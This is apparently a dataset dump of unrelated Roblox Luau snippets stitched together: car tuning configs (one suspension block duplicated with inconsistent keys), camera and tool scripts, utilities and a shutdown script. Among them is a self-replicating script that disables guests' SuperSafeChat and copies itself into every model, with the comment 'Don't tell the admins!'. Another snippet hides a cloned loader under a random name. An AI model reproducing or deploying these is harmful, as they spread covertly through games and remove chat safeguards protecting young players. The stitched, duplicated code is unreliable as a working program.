Roblox/luau_corpus huggingface dataset:
--[[Engine]]

	--		[TORQUE CURVE VISUAL]
	--		https://www.desmos.com/calculator/nap6stpjqf
	--		Use sliders to manipulate values
	--		Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo.
	
	Tune.Horsepower		= 400
	Tune.IdleRPM		= 700
	Tune.PeakRPM		= 5800
	Tune.Redline		= 7000
	Tune.EqPoint		= 6000
	Tune.PeakSharpness	= 20
	Tune.CurveMult		= 0.2
	
	Tune.InclineComp	= 1.2		-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
	
	--Turbo Settings
	Tune.Aspiration		= "Single"												--[[
	[Aspiration]
		"Natural"		: N/A, Naturally aspirated engine
		"Single"		: Single turbocharger
		"Double"		: Twin turbocharger											]]
	
	Tune.Boost			= 15		--Max PSI per turbo (If you have two turbos and this is 15, the PSI will be 30)
	Tune.TurboSize		= 18		--Turbo size; the bigger it is, the more lag it has.
	Tune.CompressRatio	= 10 		--The compression ratio (look it up)
	
	--Misc
	Tune.RevAccel		= 150		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 150		-- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
--[[Susupension]]
	Tune.SusEnabled		= true		-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
	
	--Front Suspension
	Tune.FSusDamping	= 500		-- Spring Dampening
	Tune.FSusStiffness	= 9000		-- Spring Force
	Tune.FAntiRoll 		= 50		-- Anti-Roll (Gyro Dampening)
	
	Tune.FSusLength		= 2			-- Suspension length (in studs)
	Tune.FPreCompress	= .4		-- Pre-compression adds resting length force
	Tune.FExtensionLim	= .4		-- Max Extension Travel (in studs)
	Tune.FCompressLim	= .4		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 80		-- Suspension Angle (degrees from horizontal)
		
	Tune.FWsBoneLen		= 4			-- Wishbone Length
	Tune.FWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward
	
	--Rear Suspension
	Tune.RSusDamping	= 500		-- Spring Dampening
	Tune.RSusStiffness	= 9000		-- Spring Force
	Tune.FAntiRoll 		= 50		-- Anti-Roll (Gyro Dampening)

	Tune.RSusLength		= 2			-- Suspension length (in studs)
	Tune.RPreCompress	= .4		-- Pre-compression adds resting length force
	Tune.RExtensionLim	= .4		-- Max Extension Travel (in studs)
	Tune.RCompressLim	= .4		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)
		
	Tune.RWsBoneLen		= 4			-- Wishbone Length
	Tune.RWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics	
	Tune.SusVisible		= true			-- Spring Visible
	Tune.WsBVisible		= false			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .1			-- Suspension Coil Thickness
	Tune.SusColor		= "Really black"	-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 6				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness
--[[Susupension]]
	Tune.SusEnabled		= true		-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
	
	--Front Suspension
	Tune.FSusDamping	= 200		-- Spring Dampening
	Tune.FSusStiffness	= 3000		-- Spring Force
	Tune.FSusLength		= 3		-- Suspension length (in studs)
	Tune.FSusMaxExt		= 1.5		-- Max Extension Travel (in studs)
	Tune.FSusMaxComp	= .1		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 70		-- Suspension Angle (degrees from horizontal)
		
	Tune.FWsBoneLen		= 5.7			-- Wishbone Length
	Tune.FWsBoneAngle	= 5			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward
	
	--Rear Suspension
	Tune.RSusDamping	= 200		-- Spring Dampening
	Tune.RSusStiffness	= 3000		-- Spring Force
	Tune.RSusLength		= 3			-- Suspension length (in studs)
	Tune.RSusMaxExt		= 1.5		-- Max Extension Travel (in studs)
	Tune.RSusMaxComp	= .1   	-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 70		-- Suspension Angle (degrees from horizontal)
		
	Tune.RWsBoneLen		= 5.7			-- Wishbone Length
	Tune.RWsBoneAngle	= 5			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics	
	Tune.SusVisible		= true			-- Spring Visible
	Tune.WsBVisible		= true			-- Wishbone Visible
	Tune.SusRadius		= .4			-- Suspension Coil Radius
	Tune.SusThickness	= .0			-- Suspension Coil Thickness
	Tune.SusColor		= "Bright red"	-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 3				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .0			-- Wishbone Rod Thickness
-- ROBLOX deviation: There is no console width since we only have log fn
local CONSOLE_WIDTH = 0
--Made by Luckymaxer

Mouse_Icon = "rbxasset://textures/GunCursor.png"
Reloading_Icon = "rbxasset://textures/GunWaitCursor.png"

Tool = script.Parent

Mouse = nil

function UpdateIcon()
	if Mouse then
		Mouse.Icon = Tool.Enabled and Mouse_Icon or Reloading_Icon
	end
end

function OnEquipped(ToolMouse)
	Mouse = ToolMouse
	UpdateIcon()
end

function OnChanged(Property)
	if Property == "Enabled" then
		UpdateIcon()
	end
end

Tool.Equipped:connect(OnEquipped)
Tool.Changed:connect(OnChanged)
--launch
while wait() do
	local maxDistance = distance
	for i,v in pairs(workspace:GetChildren()) do
		if v:FindFirstChild("Humanoid") then
			if (v.Head.Position-script.Parent.Head.Position).magnitude < maxDistance then
				if v ~= script.Parent then
					heardetect(v.Head)
					--script.Parent.HumanoidRootPart.CFrame = CFrame.new(script.Parent.HumanoidRootPart.Position, v.HumanoidRootPart.Position)
				end	
			else
				wander()
			end
		end
	end
end
-- Called when character is added
function BaseOcclusion:CharacterAdded(char, player)
end
-- Creating a sorted list of positions to move between
local positionList = {}
while true do
	local lowest = {nil, math.huge} -- Contains the destination with the lowest number and its number
	for _, value in pairs(mainFolder:GetChildren()) do
		if not value:IsA("BasePart") then continue end -- Skip this item if it's not a base part
		local nameSplit = string.split(value.Name, " ")
		-- In these conditional statements, we check:
		if #nameSplit ~= 2 then continue end -- That the name contains one space
		local destinationNumber = tonumber(nameSplit[2])
		if string.lower(nameSplit[1]) == "destination" -- The word before the space is "destination"
			and destinationNumber -- The word after the space is a number
			and destinationNumber < lowest[2] -- And the number after the space is lower than the current lowest number
		then
			lowest = {value, destinationNumber} -- If the previous checks succeed, the current part is now the lowest one
		end
	end
	if not lowest[1] then
		break -- End the loop if there are no destination blocks remaining
	else
		table.insert(positionList, lowest[1].Position)
		if hideDestinationBlocks then -- Destroy or rename the current lowest destination to continue the sorting process
			lowest[1]:Destroy()
		else
			lowest[1].Name = "Destination"
		end
	end
end

alignPosition.MaxVelocity = topSpeed
alignPosition.Position = positionList[1]
platform.AlignOrientation.CFrame = platform.CFrame.Rotation -- Match the target orientation to the current orientation
platform.Anchored = false

while true do -- The moving platform can now endlessly go through the sorted list in order
	for index, _ in pairs(positionList) do
		alignPosition.Position = positionList[index]
		task.wait(moveDelay)
	end
end
-- Returns the subject position the FpsCamera
-- wants Roblox's camera to be using right now.

function FpsCamera:GetSubjectPosition()
	if self:IsInFirstPerson() then
		local camera = workspace.CurrentCamera
		local subject = camera.CameraSubject
		
		if subject and subject:IsA("Humanoid") and subject.Health > 0 then
			local character = subject.Parent
			local head = character and character:FindFirstChild("Head")
			
			if head and head:IsA("BasePart") then
				local cf = head.CFrame
				local offset = cf * CFrame.new(0, head.Size.Y / 3, 0)
				
				return offset.Position, cf.LookVector
			end
		end
	end
	
	return self:GetBaseSubjectPosition()
end
--|| SERVICES ||--
	local RunService = game:GetService("RunService")
local Players = game:GetService("Players")
--//Character//--
local Character = script.Parent
local Humanoid = Character:WaitForChild("Humanoid")
-- category : (string) the name that will appear in the PlayFab event dashboard
-- value : (table) a json blob of data that contextualizes the event being sent
function PlayFabReporter:fireEvent(category, value)
	assert(type(category) == "string", "Category must be a string")
	assert(type(value) == "table", "Value must be a json table")

	local isValidJSON = pcall(HttpService.JSONEncode, HttpService, value)
	assert(isValidJSON, "Value must be a valid json table")

	-- pass the data down to AnalyticsService
	self._reportingService:FireEvent(category, value)
end

return PlayFabReporter
--Precalculated paths
local t,f,n=true,false,{}
local r={
[58]={{76,72,71,61,59,41,30,56,58},t},
[49]={{76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49},t},
[16]={n,f},
[19]={{76,72,71,61,59,41,30,56,58,20,19},t},
[59]={{76,72,71,61,59},t},
[63]={{76,72,71,61,59,41,30,56,58,23,62,63},t},
[34]={{76,72,71,61,59,41,39,35,34},t},
[21]={{76,72,71,61,59,41,30,56,58,20,21},t},
[48]={{76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48},t},
[27]={{76,72,71,61,59,41,39,35,34,32,31,29,28,27},t},
[14]={n,f},
[31]={{76,72,71,61,59,41,39,35,34,32,31},t},
[56]={{76,72,71,61,59,41,30,56},t},
[29]={{76,72,71,61,59,41,39,35,34,32,31,29},t},
[13]={n,f},
[47]={{76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47},t},
[12]={n,f},
[45]={{76,72,71,61,59,41,39,35,34,32,31,29,28,44,45},t},
[57]={{76,72,71,61,59,41,30,56,57},t},
[36]={{76,72,71,61,59,41,39,35,37,36},t},
[25]={{76,72,71,61,59,41,39,35,34,32,31,29,28,27,26,25},t},
[71]={{76,72,71},t},
[20]={{76,72,71,61,59,41,30,56,58,20},t},
[60]={{76,72,71,61,60},t},
[8]={n,f},
[4]={n,f},
[75]={{76,73,75},t},
[22]={{76,72,71,61,59,41,30,56,58,20,21,22},t},
[74]={{76,73,74},t},
[62]={{76,72,71,61,59,41,30,56,58,23,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{76,72,71,61,59,41,39,35,37},t},
[2]={n,f},
[35]={{76,72,71,61,59,41,39,35},t},
[53]={{76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53},t},
[73]={{76,73},t},
[72]={{76,72},t},
[33]={{76,72,71,61,59,41,39,35,37,36,33},t},
[69]={{76,72,71,61,69},t},
[65]={{76,72,71,61,59,41,30,56,58,20,19,66,64,65},t},
[26]={{76,72,71,61,59,41,39,35,34,32,31,29,28,27,26},t},
[68]={{76,72,71,61,59,41,30,56,58,20,19,66,64,67,68},t},
[76]={{76},t},
[50]={{76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,50},t},
[66]={{76,72,71,61,59,41,30,56,58,20,19,66},t},
[10]={n,f},
[24]={{76,72,71,61,59,41,39,35,34,32,31,29,28,27,26,25,24},t},
[23]={{76,72,71,61,59,41,30,56,58,23},t},
[44]={{76,72,71,61,59,41,39,35,34,32,31,29,28,44},t},
[39]={{76,72,71,61,59,41,39},t},
[32]={{76,72,71,61,59,41,39,35,34,32},t},
[3]={n,f},
[30]={{76,72,71,61,59,41,30},t},
[51]={{76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,50,51},t},
[18]={n,f},
[67]={{76,72,71,61,59,41,30,56,58,20,19,66,64,67},t},
[61]={{76,72,71,61},t},
[55]={{76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t},
[46]={{76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,46},t},
[42]={{76,72,71,61,59,41,39,40,38,42},t},
[40]={{76,72,71,61,59,41,39,40},t},
[52]={{76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,52},t},
[54]={{76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{76,72,71,61,59,41},t},
[17]={n,f},
[38]={{76,72,71,61,59,41,39,40,38},t},
[28]={{76,72,71,61,59,41,39,35,34,32,31,29,28},t},
[5]={n,f},
[64]={{76,72,71,61,59,41,30,56,58,20,19,66,64},t},
}
return r
--[[
	Clone and drop the loader so it can hide in nil.
--]]

local loader = script.Parent.Loader:clone()
loader.Parent = script.Parent
loader.Name = math.random(111111,99999999)
loader.Archivable = false
loader.Disabled = false
-- Bind functions to when player equips/unequips the tool. Right now just need to turn on and
-- off AutoRotate
equipEvent.OnServerEvent:Connect(function(player)
	player.Character.Humanoid.AutoRotate = false
	equipped = true
end)

unequipEvent.OnServerEvent:Connect(function(player)
	player.Character.Humanoid.AutoRotate = true
	equipped = false
end)
--//Anims//--
local blockstart = script.bLOCKSTART
local blockstarttrack = hum:LoadAnimation(blockstart)
local blockhold = script.bLOCKHOLD
local blockholdtrack = hum:LoadAnimation(blockhold)
--game:DefineFastFlag("AvatarExperienceNewTopBar", false)
local isEnabled = false

local functionTable = {}

functionTable[1] = function()
	return isEnabled
	--return game:GetFastFlag("AvatarExperienceNewTopBar")
end

functionTable[2] = function()
	isEnabled = not isEnabled
end

return functionTable
--[=[
	Converts this arbitrary value into an observable that emits numbers.

	@param value number | any
	@return Observable<number>?
]=]
function Blend.toNumberObservable(value)
	if type(value) == "number" then
		return Rx.of(value)
	else
		return Blend.toPropertyObservable(value)
	end
end
--Print Version
local build=require(bike.Tuner.README)
local ver=script.Parent.Version.Value
--!strict
local Array = require(script.Array)
local AssertionError = require(script.AssertionError)
local Error = require(script.Error)
local Object = require(script.Object)
local PromiseModule = require(script.Promise)
local Set = require(script.Set)
local Symbol = require(script.Symbol)
local Timers = require(script.Timers)
local WeakMap = require(script.WeakMap)
local Map = require(script.Map)
local coerceToMap = require(script.Map.coerceToMap)
local coerceToTable = require(script.Map.coerceToTable)
local types = require(script.types)

export type Array<T> = types.Array<T>
export type AssertionError = AssertionError.AssertionError
export type Error = Error.Error
export type Map<T, V> = types.Map<T, V>
export type Object = types.Object

export type PromiseLike<T> = PromiseModule.PromiseLike<T>
export type Promise<T> = PromiseModule.Promise<T>

export type Set<T> = types.Set<T>
export type Symbol = Symbol.Symbol
export type Timeout = Timers.Timeout
export type Interval = Timers.Interval
export type WeakMap<T, V> = WeakMap.WeakMap<T, V>

return {
	Array = Array,
	AssertionError = AssertionError,
	Boolean = require(script.Boolean),
	console = require(script.console),
	Error = Error,
	extends = require(script.extends),
	instanceof = require(script.instanceof),
	Math = require(script.Math),
	Number = require(script.Number),
	Object = Object,
	Map = Map,
	coerceToMap = coerceToMap,
	coerceToTable = coerceToTable,
	Set = Set,
	WeakMap = WeakMap,
	String = require(script.String),
	Symbol = Symbol,
	setTimeout = Timers.setTimeout,
	clearTimeout = Timers.clearTimeout,
	setInterval = Timers.setInterval,
	clearInterval = Timers.clearInterval,
	util = require(script.util),
}
--Farvei's totally awesome script that makes Guests talk
--Please give credit
--Don't tell the admins!
--Unnote the vaccine if you'd like to remove all copies of this script in your place
if (script.Parent == workspace) then
	function checkForAndSwitch(player)
		if (player.SuperSafeChat == true) then
			player.SuperSafeChat = false;
			wait(5);
			local m = Instance.new("Message");
			m.Text = "Press the / key to start typing.";
			m.Parent = player;
			wait(5);
			m.Text = "Then press Enter to send your message.";
			wait(5);
			m:Remove();
			m = nil;
		end
		player = nil;
		collectgarbage("collect");
	end

	function onChildAddedToPlayers(obj)
		if (obj.className == "Player") then
			checkForAndSwitch(obj);
			local m = Instance.new("Message");
			m.Text = "Monster Says, 'Let the Guests talk!' And all was good.";
			m.Parent = obj;
			wait(5);
			m:Remove();
			m = nil;
		end
		obj = nil;
		collectgarbage("collect");
	end

	function onChildAddedToWorkspace(obj)
		if (obj.className == "Model") then
			if (game.Players:playerFromCharacter(obj) ~= nil) then
				checkForAndSwitch(game.Players:playerFromCharacter(obj));
			end
		end
		obj = nil;
		collectgarbage("collect");
	end

	function findLowestLevel(obj)
		local c = obj:GetChildren();
		local lowestLevel = true;

		for i, v in pairs(c) do
			if (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then
				lowestLevel = false;
				wait();
				findLowestLevel(v);
			end
		end

		if (obj ~= workspace and lowestLevel == true and (obj:FindFirstChild(script.Name) == nil)) then
			if (obj ~= game.Lighting and obj ~= game.StarterPack) then
				local s = script:Clone();
				s.Parent = obj;
			end
		end
	end

	findLowestLevel(game);

	game.Players.ChildAdded:connect(onChildAddedToPlayers);
	game.Workspace.ChildAdded:connect(onChildAddedToWorkspace);
else
	local findScript = workspace:FindFirstChild(script.Name);

	if (findScript == nil) then
		local s = script:Clone();
		s.Parent = workspace;
	end
end
--spawn(function(...)
--	while true do
--		wait(0.2)
--		Update()
--	end
--end)
RunService.RenderStepped:Connect(Update)
--[=[
	@within TableUtil
	@function Extend
	@param target table
	@param extension table
	@return table

	Extends the target array with the extension array.

	```lua
	local t = {10, 20, 30}
	local t2 = {30, 40, 50}
	local tNew = TableUtil.Extend(t, t2)
	print(tNew) --> {10, 20, 30, 30, 40, 50}
	```

	:::note Arrays only
	This function works on arrays, but not dictionaries.
]=]
local function Extend(target: Table, extension: Table): Table
	local tbl = table.clone(target)
	for _,v in ipairs(extension) do
		table.insert(tbl, v)
	end
	return tbl
end
--Preforms a "soft shutdown". It will teleport players to a reserved server
--and teleport them back, with a new server. ORiginal version by Merely.
--Be aware this will hard shutdown reserved servers.

local PlaceId = game.PlaceId

local Players = game:GetService("Players")
local TeleportService = game:GetService("TeleportService")

local TeleportScreenCreator = script:WaitForChild("TeleportScreenCreator")
local CreateTeleportScreen = require(TeleportScreenCreator)

local SoftShutdownLocalScript = script:WaitForChild("SoftShutdownLocalScript")
TeleportScreenCreator.Parent = SoftShutdownLocalScript
SoftShutdownLocalScript.Parent = game:GetService("ReplicatedFirst")

local StartShutdown = Instance.new("RemoteEvent")
StartShutdown.Name = "StartShutdown"
StartShutdown.Parent = game.ReplicatedStorage



if not (game.VIPServerId ~= "" and game.VIPServerOwnerId == 0) then
	--If it is not a reserved server, bind the teleporting on close.
	game:BindToClose(function()
		--Return if there is no players.
		if #game.Players:GetPlayers() == 0 then
			return
		end
		
		--Return if the server instance is offline.
		if game.JobId == "" then
			return
		end
		
		--Send the shutdown message.
		StartShutdown:FireAllClients(true)
		wait(2)
		local ReservedServerCode = TeleportService:ReserveServer(PlaceId)
		
		--Create the teleport GUI.
		local ScreenGui = CreateTeleportScreen()
		local function TeleportPlayer(Player)
			TeleportService:TeleportToPrivateServer(PlaceId,ReservedServerCode,{Player},nil,{IsTemporaryServer=true,PlaceId = PlaceId},ScreenGui)
		end
		
		--Teleport players and try to keep the server alive until all players leave.
		for _,Player in pairs(Players:GetPlayers()) do
			TeleportPlayer(Player)
		end
		game.Players.PlayerAdded:connect(TeleportPlayer)
		while #Players:GetPlayers() > 0 do wait() end
	end)
end
-- declarations

local head = script.Parent

function onTouched(part)
	local h = part.Parent:findFirstChild("Humanoid")
	if h~=nil then
if part.Parent:findFirstChild("Head"):findFirstChild("Running") then
	part.Parent.Head.Running.SoundId = script.Running.SoundId
	part.Parent.Head.Running.PlaybackSpeed = script.Running.PlaybackSpeed
	part.Parent.Head.Running.Volume = script.Running.Volume
	end
end
end

script.Parent.Touched:connect(onTouched)
-- Zoom related functions

function ShoulderCamera:isZoomed()
	return self.zoomState
end

function ShoulderCamera:setHideToolWhileZoomed(hide)
	self.hideToolWhileZoomed = hide
end

function ShoulderCamera:setZoomFactor(zoomFactor)
	self.currentZoomFactor = zoomFactor
	local nominalFOVRadians = math.rad(self.fieldOfView)
	local nominalImageHeight = math.tan(nominalFOVRadians / 2)
	local zoomedImageHeight = nominalImageHeight / self.currentZoomFactor
	self.zoomedFOV = math.deg(math.atan(zoomedImageHeight) * 2)
	self:updateZoomState()
end

function ShoulderCamera:resetZoomFactor()
	self:setZoomFactor(self.defaultZoomFactor)
end

function ShoulderCamera:setForceZoomed(zoomed)
	if self.forcedZoomed == zoomed then return end
	self.forcedZoomed = zoomed
	self:updateZoomState()
end

function ShoulderCamera:setZoomedFromInput(zoomedFromInput)
	if self.zoomedFromInput == zoomedFromInput or (self.currentHumanoid and self.currentHumanoid:GetState() == Enum.HumanoidStateType.Dead) then
		return
	end

	self.zoomedFromInput = zoomedFromInput
	self:updateZoomState()
end

function ShoulderCamera:updateZoomState()
	local isZoomed = self.forcedZoomed
	if self.canZoom and not self.forcedZoomed then
		isZoomed = self.zoomedFromInput
	end

	if not self.enabled or not self.currentTool then
		isZoomed = false
	end

	self.zoomState = isZoomed

	self.currentMouseRadsPerPixel = isZoomed and self.zoomedMouseRadsPerPixel or self.mouseRadsPerPixel
	self.currentTouchSensitivity = isZoomed and self.zoomedTouchSensitivity or self.touchSensitivity

	if self.weaponsSystem and self.weaponsSystem.gui then
		self.weaponsSystem.gui:setCrosshairScaleTarget(self.zoomState and self.zoomedCrosshairScale or self.normalCrosshairScale)
		self.weaponsSystem.gui:setCrosshairEnabled(not self.zoomState or not self.hasScope)
		self.weaponsSystem.gui:setScopeEnabled(self.zoomState and self.hasScope)
		if self.currentTool then
			self.currentTool.ManualActivationOnly = self.zoomState and self.hasScope and UserInputService.TouchEnabled
		end
	end

	if self.currentCamera then
		self.desiredFieldOfView = self:getCurrentFieldOfView()
	end
end

function ShoulderCamera:onZoomAction(actionName, inputState, inputObj)
	if not self.enabled or not self.canZoom or not self.currentCamera or not self.currentCharacter or not self.weaponsSystem.currentWeapon then
		self:setZoomedFromInput(false)
		return Enum.ContextActionResult.Pass
	end

	self:setZoomedFromInput(inputState == Enum.UserInputState.Begin)
	return Enum.ContextActionResult.Sink
end
--[[
	Used to catch any errors that may have occurred in the promise.
]]
function Promise:catch(failureCallback)
	return self:andThen(nil, failureCallback)
end